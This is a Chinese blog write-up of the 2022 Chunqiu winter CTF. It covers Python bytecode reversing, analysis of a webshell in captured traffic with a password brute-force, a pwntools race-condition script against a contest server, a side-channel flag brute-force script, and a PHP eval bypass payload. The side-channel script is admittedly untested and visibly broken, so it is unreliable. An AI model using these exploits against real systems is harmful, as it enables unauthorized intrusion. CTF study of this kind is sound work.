把博客园图标替换成自己的图标
把博客园图标替换成自己的图标end

2022春秋杯冬季赛wp - S1gMa

前言

第一次参加春秋杯冬季赛,想了想还是得把 \(Wp\) 给补上,虽然没有拿奖,但也算是学到了好多东西,交互还是近几次比赛学会的。(简单来说就是这次比赛题没一道见过熟悉的www......)

由于是赛后才补的题解,所以有些在线交互的没截上图就口糊下好了。

下面是个人排名(轻点骂 >_<):

zxj98e.png

Reverse

Easy_python ( 解法1 )

题目大意:

逆向 \(Python\) 字节码:

  3           0 LOAD_CONST               1 (204)
              3 LOAD_CONST               2 (141)
              6 LOAD_CONST               3 (44)
              9 LOAD_CONST               4 (236)
             12 LOAD_CONST               5 (111)
             15 LOAD_CONST               6 (140)
             18 LOAD_CONST               6 (140)
             21 LOAD_CONST               7 (76)
             24 LOAD_CONST               3 (44)
             27 LOAD_CONST               8 (172)
             30 LOAD_CONST               9 (7)
             33 LOAD_CONST               9 (7)
             36 LOAD_CONST              10 (39)
             39 LOAD_CONST              11 (165)
             42 LOAD_CONST              12 (70)
             45 LOAD_CONST               9 (7)
             48 LOAD_CONST              10 (39)
             51 LOAD_CONST              13 (166)
             54 LOAD_CONST              11 (165)
             57 LOAD_CONST              14 (134)
             60 LOAD_CONST              14 (134)
             63 LOAD_CONST               6 (140)
             66 LOAD_CONST               1 (204)
             69 LOAD_CONST              11 (165)
             72 LOAD_CONST               9 (7)
             75 LOAD_CONST              10 (39)
             78 LOAD_CONST              15 (230)
             81 LOAD_CONST               6 (140)
             84 LOAD_CONST              11 (165)
             87 LOAD_CONST              12 (70)
             90 LOAD_CONST               3 (44)
             93 LOAD_CONST               8 (172)
             96 LOAD_CONST              16 (102)
             99 LOAD_CONST              17 (6)
            102 LOAD_CONST               6 (140)
            105 LOAD_CONST               1 (204)
            108 LOAD_CONST              15 (230)
            111 LOAD_CONST              15 (230)
            114 LOAD_CONST               7 (76)
            117 LOAD_CONST              18 (198)
            120 LOAD_CONST              19 (38)
            123 LOAD_CONST              20 (175)
            126 BUILD_LIST              42
            129 STORE_FAST               0 (flag)

  4         132 SETUP_LOOP              54 (to 189)
            135 LOAD_GLOBAL              0 (range)
            138 LOAD_CONST              21 (42)
            141 CALL_FUNCTION            1
            144 GET_ITER            
        >>  145 FOR_ITER                40 (to 188)
            148 STORE_FAST               1 (i)

  5         151 LOAD_FAST                0 (flag)
            154 LOAD_FAST                1 (i)
            157 BINARY_SUBSCR       
            158 LOAD_CONST              22 (5)
            161 BINARY_RSHIFT       
            162 LOAD_FAST                0 (flag)
            165 LOAD_FAST                1 (i)
            168 BINARY_SUBSCR       
            169 LOAD_CONST              23 (3)
            172 BINARY_LSHIFT       
            173 BINARY_OR           
            174 LOAD_CONST              24 (255)
            177 BINARY_AND          
            178 LOAD_FAST                0 (flag)
            181 LOAD_FAST                1 (i)
            184 STORE_SUBSCR        
            185 JUMP_ABSOLUTE          145
        >>  188 POP_BLOCK           
        >>  189 LOAD_CONST               0 (None)
            192 RETURN_VALUE        

以前完全没有学过 \(Python\) 字节码,就算是看道了也就直接跳过了,但这种题见了不止一次了,所以直接比赛期间现学字节码手撸源代码。

解题过程

首先了解字节码中几个关键命令的作用,官方文档如下:

dis — Disassembler for Python bytecode

同时有各个参数的所在意义:

源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值

其中我们拿出本题要用的东西:

GET_ITER
	Implements TOS = iter(TOS).

BINARY_SUBSCR
  	Implements TOS = TOS1[TOS].

BINARY_LSHIFT
	Implements TOS = TOS1 << TOS.

BINARY_RSHIFT
	Implements TOS = TOS1 >> TOS.

BINARY_OR
	Implements TOS = TOS1 | TOS.

BINARY_AND
	Implements TOS = TOS1 & TOS.

通俗来讲,字节码就是以栈为基础的运行过程,故只需要用先进先出的思想进行模拟还原即可。

当然,也可以利用输出调试来一步一步还原(对于我这种现场学手撸的人非常友好) \(cmd\) 下命令行输入:

python -m dis ./XX.py

即可得到此份的字节码(本题还原如下):

zxja24.png

flag = [204,141,44,236,111,140,140,76,44,172,7,7,39,165,70,7,39,166,165,134,134,140,204,165,7,39,230,140,165,70,44,172,102,6,140,204,230,230,76,198,38,175]
for i in range(42):
    f1ag = ((flag[i] >> 5) | (flag[i] << 3 )) & 255
    print(chr(f1ag),end="")

Easy_python ( 解法2 )

\(Chatgpt\) 秒了。 ( 比赛结束后看大佬的 \(Wp\) 知道的,太神仙了www)

Misc

reindeer game

解题过程

纯纯签到题,拼手速和运气,玩游戏控制麋鹿找到30个姜饼人即可得到 \(flag\)

调查问卷

解题过程

拼手速。

nan's analysis

(第一次见)

解题过程

本题只在比赛中保留了部分截图,凑合凑合吧。

分析流量,可知是个 \(web\) 浏览日志和一个 \(shell\) 的压缩包。

首先 \(binwalk\) 分离日志和压缩包并且修复,可以得知,存在一个 \(shell.php\) 分析 \(js\) 发下是个零宽隐写,解密后得到压缩包密码和 \(root\) 的密码提示。

zxj6IK.jpg

zxjgPO.jpg

得到密码提示后,可以考虑进行字典爆破,需要自己写一个代码生成字典:

list=[0,1,2,3,4,5,6,7,8,9]
for i in list:
    for k in list:
        for l in list:
            print((str(i)+str(k)+str(i)+str(l))*4)

然后得到密码为: \(05040504050405040504\)

之后在 \(/var/www/html/install\) 中可以执行命令:\(cat\) \(.index.php\) 可得到被混淆后的一串 \(php\) 代码, 并且得到两个提示:此代码被加密了、\(root\) 密码经过 \(AES\) 加密。

然后就根据提示开始解加密代码,是个 \(php\) 混淆,解密网站如下:

php 解混淆

zxjTdP.png

得到加密后的密码,同时再次回到流量分析可以在压缩包和图片上传的地方得到个 \(PASS\) \(keyisChunqiuGame00504\),结合前面的提示解出 \(root\) 密码:
AES解密
zxj7If.png

最后登录 \(root\) 可得到 \(flag\)

PWN

work_pwn

解题过程

分析代码可以发现,是个条件竞争会将读入的 \(filename\) 强制改名,此时会执行 \(sleep(1)\)

因此找到入手点,将 \(name\) 修改成 \(/flag\) 发送上去,着手写 \(code\) :

from pwn import *
context(arch="amd64",os="linux")
context.log_level = "debug"

io1 = remote('39.106.48.123',42877)

io1.sendline(str(3))
io1.sendline(str(1))
io1.recv()

sleep(0.1)
io1.sendline(str(1))
io1.sendline(str(1))
io1.recvuntil("Input Name : ")
io1.sendline(b'./flag'+2*b'\x00')
sleep(1)
io1.recv()

Online_judge

(第一次见)

解题过程

(此题为赛后复现,被大佬指点)
zxvlWD.png

题目提示 \(flag\)\(/flag/flag\) 中。

侧信道,test只有一个测试用例,返回的3,可以通过侧信道爆破。

侧信道爆破类似于 \(web\) 中的盲注,逐个爆破 \(flag\) ,需要写入一段 \(shellcode\)来判断爆破的flag是否正确,这里要用到汇编中的jz或者使用二分法,ja来判断,不正确就直接停止。

题目原请求如下:

import os
import sys
import requests
host,port = '47.104.129.38',10101
base_url = f'http://{host}:{port}'
token_url = f'{base_url}/getToken'
judge_url = f'{base_url}/judge'
def getToken():
    result = requests.post(token_url).json()
    #print(result)
    assert not result['error'], "System error"
    return result['data']['token']
def judge(chall:str, src:str, language:str = 'C'):
    data = {
        'src': src,
        'language': language,
        'action': chall,
        'token': token,
    }
    result = requests.post(judge_url, json = data).json()
    print(result)
    return True
token = getToken()
print(token)

py_src = open('./solve.py').read()
judge('test', py_src, 'PYTHON')
flag = 'flag{'
for i in range(len(flag),100):
    head = 0
    tail = 127
    mid = (tail + head) << 1
    while head < tail:
        py_src = open('./solve.py').read()
        Read = judge('test', py_src, 'PYTHON')
        if Read['data']=='SUCCESS':
            head = mid + 1
        else:
            tail = mid
        mid = (head + tail) >> 1
    flag += chr(left)
    info(flag)
    if flag[-1] == "}":
        break
print(flag)

没机会跑了,有一说一我也不知道对不对(要是不对的话,就当他不存在好了,思路没啥问题,代码估计是错的,第一次写这东西),对照着大佬的某 \(PWN\)\(shellcode\) 侧信道攻击思路写的。

大佬博客

Web

ezphp

解题过程

源码如下:

<?php  
highlight_file(__FILE__);  
$num = $_GET['num'];  
if(is_string($num) && strlen($num) < 5 && strpos($num,'111') === false && strpos($num,'0') === false && eval("return 111===${num};")){    readfile('/flag');  
}  
  
?>

提示:高版本 \(php\) 特性

因为return (111===1) or 1

所以 ?num=1|1

\(payload\) 构造方法还有很多。

结语

这篇文章就以它来结尾吧(>_<):

子曰:“默而识之,学而不厌,诲人不倦,何有于我哉?”——《论语·述而》

小声说:今天是圣诞节,所以......Merry Christmas🎄~

posted @ 2022-12-27 01:45  S1gMa  阅读(641)  评论(2编辑  收藏  举报
浏览器标题切换
浏览器标题切换end